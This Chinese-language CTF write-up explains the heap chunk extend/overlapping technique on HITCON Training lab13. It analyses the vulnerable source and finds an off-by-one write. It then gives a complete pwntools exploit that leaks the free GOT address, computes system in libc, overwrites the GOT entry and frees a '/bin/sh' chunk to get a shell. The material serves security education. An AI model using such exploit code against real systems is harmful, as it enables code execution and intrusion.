漏洞簡介
chunk extend overlapping在堆中是一種比較常見的利用手段,其主要原理就是因爲某些意外情況我們可以去修改一些已經申請或在空閒狀態的堆塊的大小,從而造成堆塊重疊的情況,而這也就引發了一系列安全隱患。
本文涉及相關實驗:高級棧溢出技術—ROP實戰 (ROP的全稱爲Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術,攻擊者使用堆棧的控制來在現有程序代碼中的子程序中的返回指令之前,立即間接地執行精心挑選的指令或機器指令組。)
這裏我將根據一道題來介紹這個漏洞的利用流程
例題:HITCON Trainging lab13
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
查看保護機制,開啓canary與nx保護,因爲題目給出源碼所以我們直接對着源碼進行分析
源碼分析
void menu(){ puts("--------------------------------"); puts(" Heap Creator "); puts("--------------------------------"); puts(" 1. Create a Heap "); puts(" 2. Edit a Heap "); puts(" 3. Show a Heap "); puts(" 4. Delete a Heap "); puts(" 5. Exit "); puts("--------------------------------"); printf("Your choice :"); }
經典菜單題,根據我們輸入的選項執行不同的功能
Create函數
我們先看一下Create函數
void create_heap(){ int i ; char buf[8]; size_t size = 0; for(i = 0 ; i < 10 ; i++){ if(!heaparray[i]){ heaparray[i] = (struct heap *)malloc(sizeof(struct heap)); if(!heaparray[i]){ puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0,buf,8); size = atoi(buf); heaparray[i]->content = (char *)malloc(size); if(!heaparray[i]->content){ puts("Allocate Error"); exit(2); } heaparray[i]->size = size ; printf("Content of heap:"); read_input(heaparray[i]->content,size); puts("SuccessFul"); break ; } } }
heaparray數組是聲明的heap結構體數組,其中的內容如下所示
struct heap { size_t size ; char *content ; };
首先create函數會先爲heaparray中的每一個結構體元素分配一個0x10大小的內存,然後在對結構體中的content指針分配我們所指定的大小的內存,並執行read_input函數存放我們輸入的內容
Edit函數
接下來繼續往下看Edit函數
void edit_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Content of heap : "); read_input(heaparray[idx]->content,heaparray[idx]->size+1); puts("Done !"); }else{ puts("No such heap !"); } }
edit函數會根據我們輸入的索引去heaparray中尋找對應的結構體,需要注意的是這裏的索引與數組一致都是從零開始,這裏需要注意的是read_input函數在寫入內容時共存入了size+1位,這也就造成了off-by-one漏洞,找到一個漏洞點。
Show函數
繼續往下Show函數打印對應結構體中content中存放的內容
void show_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content); puts("Done !"); }else{ puts("No such heap !"); } }
Delete函數
而我們最後需要關注的就是
void delete_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ free(heaparray[idx]->content); free(heaparray[idx]); heaparray[idx] = NULL ; puts("Done !"); }else{ puts("No such heap !"); } }
在delete函數中它是先將content申請的內存free掉再free的結構體內存,我們後面進行漏洞利用時這裏會用到
漏洞利用
我們這裏的利用思路是:
1、利用off by one漏洞完成堆重疊並構建含有/bin/sh的堆塊
2、泄露出free函數並計算出libc基地址與system地址
3、覆蓋free函數的got表中的地址爲system地址
4、free掉包含/bin/sh的堆塊,獲取shell
我們先構造exp中上述代碼對應的功能函數
def menu(index): p.sendlineafter("Your choice :", str(index)) def Create(heap_size, content): menu(1) p.sendlineafter("Size of Heap : ", str(heap_size)) p.sendlineafter("Content of heap:", content) def Edit(index, content): menu(2) p.sendlineafter("Index :", str(index)) p.sendlineafter("Content of heap : ", content) def Show(index): menu(3) p.sendlineafter("Index :", str(index)) def Free(index): menu(4) p.sendlineafter("Index :", str(index))
1、利用off-by-one完成extend overlapping
在源碼中我們發現了其存在off by one漏洞,我們就利用這個漏洞完成對堆塊的extend overlapping
使用pwndbg對程序進行調試
-------------------------------- Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Show a Heap 4. Delete a Heap 5. Exit -------------------------------- Your choice :1 Size of Heap : 24 Content of heap:content1 SuccessFul -------------------------------- Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Show a Heap 4. Delete a Heap 5. Exit -------------------------------- Your choice :1 Size of Heap : 16 Content of heap:content2 SuccessFul
首先我們創建兩個heap,然後ctrl+c,使用heap指令查看當前堆的狀態
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x603000 Size: 0x251 //struct1 Allocated chunk | PREV_INUSE Addr: 0x603250 Size: 0x21 //struct1->content Allocated chunk | PREV_INUSE Addr: 0x603270 Size: 0x21 //stuct2 Allocated chunk | PREV_INUSE Addr: 0x603290 Size: 0x21 //struct2->content Allocated chunk | PREV_INUSE Addr: 0x6032b0 Size: 0x21 //top chunk Top chunk | PREV_INUSE Addr: 0x6032d0 Size: 0x20d31
這些便是我們申請的內存,查看內存信息
pwndbg> x/20gx 0x603250 0x603250: 0x0000000000000000 0x0000000000000021 0x603260: 0x0000000000000018 0x0000000000603280 0x603270: 0x0000000000000000 0x0000000000000021 0x603280: 0x31746e65746e6f63 0x000000000000000a 0x603290: 0x0000000000000000 0x0000000000000021 0x6032a0: 0x0000000000000010 0x00000000006032c0 0x6032b0: 0x0000000000000000 0x0000000000000021 0x6032c0: 0x32746e65746e6f63 0x000000000000000a 0x6032d0: 0x0000000000000000 0x0000000000020d31
從地址到高地址依次是
0x603250-0x603268 heap_struct1申請的內存 0x603270-0x603288 heap_stuct1->content申請的內存 0x603290-0x6032a8 heap_struct2申請的內存 0x6032b0-0x6032c8 heap_struct2->content申請的內存
而它們的存儲對應了系統中堆塊的構造
我們拿第一個堆塊進行說明
0x603250中存放的是其前一個堆塊的大小(prev_size)
0x603258中存放的是當前堆塊的大小(size)
0x603260-0x603268便是heap_struct1結構體存放的位置
特別的是當堆塊的前一個堆塊處於使用狀態時,會被當前堆塊size的最低位記爲1,並且prev_size也會作爲可利用內存供前一個堆塊去存儲數據。說到這裏也就可以解釋爲什麼size的大小是0x21了,在64位程序下,prev_size與size各佔8字節大小,再加上data域的0x10,一共就是0x10+0x8+0x8=0x20,而因爲當前堆塊的size域中用來記錄前一個堆塊使用狀態的P位被置一了,所以我們要再加1,所以最後存放在size域中的值是0x21。
繼續回到漏洞利用,當我們創建完這4個堆塊後(兩個struct兩個content),在執行Edit函數時,因爲off-by-one漏洞的緣故,我們共可以輸入size+1位字符,而當我們選擇Edit的對象是content1時,因爲堆是連續的,我們就可以覆蓋掉struct2的一位字節,根據上面對於堆塊的介紹,如果我們覆蓋的是當前堆塊的size時,就會造成extend,進而觸發新的漏洞利用。
繼續執行程序,因爲我們content1申請了24的內存,所以這裏我們輸入25個字符。
查看堆中情況,發現因爲off-by-one的緣故我們已經成功覆蓋掉struct2的size域,而我們想要達到的目的是控制struct2以及struct2->content的內存,所以這裏我們將數覆蓋爲0x41,及'A'的ASCII碼值,對應exp如下所示:
Create(24, "content1") Create(16, "content2") binsh = "/bin/sh\x00" Edit(0, binsh.ljust(25, "A"))
這裏將填充位改爲使用"/bin/sh"是爲了我們後續獲取shell時用到
接下來我們需要free掉heap2(struct2跟struct->content)
free(heaparray[idx]->content); free(heaparray[idx]);
根據堆中bins的規則我們當前free的chunk會被回收到tcache中,而源碼中我們是先free的struct->content再free的struct,而如果我們這時再申請一個堆塊(記作struct3),那麼struct3申請的內存區域就會是struct2->content剛剛free的內存區域,並且當我們令struct3->content所申請的內存大小爲0x30時,經過我們extend後的struct2的內存區域就會被struct3->content使用。
我們用gdb調試free後新創建一個堆塊的內存的佈局
Free(1) Create(0x30, "content3")
可以看到我們這裏已經成功完成了extend overlapping,並且都被存放在了tcache中,繼續執行程序
可以看到原先空閒的塊已經被使用了,我們再來看看裏面存的內容
可以看到這裏我們已經成功創建了struct3與struct3->content的內存,這樣看可能不是很明顯,我在這裏詳細說明一下
0x22d5290-0x22d52c8 是struct3->content的內存區域
0x22d52b0-0x22d52c8 是struct3的結構體申請的內存區域
0x22d52d0-0x22d52d8 是arena的所屬內存區域(即top chunk)
可以看出struct3的結構體內存區域是被包含在struct3->content的內存區域中的,而我們又可以通過Edit函數來對struct3->content的內存區域進行寫入操作,那麼我們現在所需要做的事情就是下面幾步
1、泄露free函數got表中的真實地址
2、通過free函數的真實地址計算出libc基地址和system地址
3、將free_got中的地址替換爲system函數的真實地址
4、獲取shell
2、泄露free函數&&計算libc基地址與system地址
要達到這步我們現在只需要通過edit函數將struct3結構體中content指針的地址改爲free_got的地址,並使用show函數打印出真實地址即可
對應exp如下所示
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got)) Show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) log.success("free addr: 0x%x"%free_addr)
而我們當有了free函數的基地址,就能求出libc與system的地址了
libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] log.success('system addr: ' + hex(system_addr))
效果如下圖所示
3、獲取shell
到現在爲止我們獲取shell的所有必要條件都完成了,最後只需要修改掉free_got中的真實地址爲system的地址即可。因爲前面我們已經將struct結構體中的content指針地址修改爲了free_got的地址,所有這裏我們只需要通過Edit函數對其中的內容進行修改即可,修改完成後我們執行free函數也就等同於執行system函數,而在前面我們已經構建了一個包含"/bin/sh"的chunk(struct1->content),也就是說我們只要free掉struct1->content就可以完成漏洞利用獲得shell
對應exp如下所示
Edit(1, p64(system_addr)) Free(0)
然後我們就能執行system("/bin/sh")獲得shell
完整exp如下所示
from pwn import * import time def menu(index): p.sendlineafter("Your choice :", str(index)) def Create(heap_size, content): menu(1) p.sendlineafter("Size of Heap : ", str(heap_size)) p.sendlineafter("Content of heap:", content) def Edit(index, content): menu(2) p.sendlineafter("Index :", str(index)) p.sendlineafter("Content of heap : ", content) def Show(index): menu(3) p.sendlineafter("Index :", str(index)) def Free(index): menu(4) p.sendlineafter("Index :", str(index)) def debug(): gdb.attach(p) p = process('./heapcreator') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./heapcreator') free_got = elf.got['free'] Create(24, "content1") Create(16, "content2") binsh = "/bin/sh\x00" Edit(0, binsh.ljust(25, "A")) Free(1) Create(0x30, "content3") Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got)) Show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) log.success("free addr: 0x%x"%free_addr) libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] log.success('system addr: ' + hex(system_addr)) Edit(1, p64(system_addr)) debug() Free(0) p.interactive()
參考鏈接
https://blog.csdn.net/qq_41202237/article/details/108320408
https://blog.csdn.net/weixin_43921239/article/details/107841328